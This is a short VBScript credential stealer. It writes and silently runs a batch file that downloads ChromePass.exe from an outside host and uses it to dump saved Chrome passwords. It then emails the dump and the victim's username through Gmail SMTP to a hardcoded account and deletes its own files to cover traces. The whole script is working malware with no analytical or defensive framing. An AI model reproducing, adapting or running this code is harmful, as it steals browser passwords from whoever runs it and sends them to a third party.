Dim FSO, juan, shell
Set shell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Set juan = FSO.OpenTextFile("a.bat", 2, True)
With juan
.WriteLine "powershell  wget -Uri 'https://ddl3.data.hu/get/217388/10298189/ChromePass.exe' -OutFile a.exe"
.WriteLine "powershell exit"
.WriteLine "start a.exe /stext a.txt"
.writeline "echo %username% > aa.txt"
.writeline "powershell $a= get-content a.txt ;$aa= get-content aa.txt; $SMTPServer = 'smtp.gmail.com' ; $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587) ; $SMTPInfo.EnableSsl = $true ; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('cuentax228@gmail.com', '123456789pene') ; $ReportEmail = New-Object System.Net.Mail.MailMessage ; $ReportEmail.From = 'cuentax228@gmail.com' ; $ReportEmail.To.Add('cuentax228@gmail.com') ; $ReportEmail.Subject = $aa ; $ReportEmail.Body = ($a) ; $SMTPInfo.Send($ReportEmail)"
.writeline "powershell del a.txt"
.writeline "powershell del a.exe"
.writeline "powershell del aa.txt"
.writeline "powershell del a.vbs"
.writeline "powershell del a.bat"
.writeline "powershell pause"
.Close
shell.Run "a.bat",vbhide
End With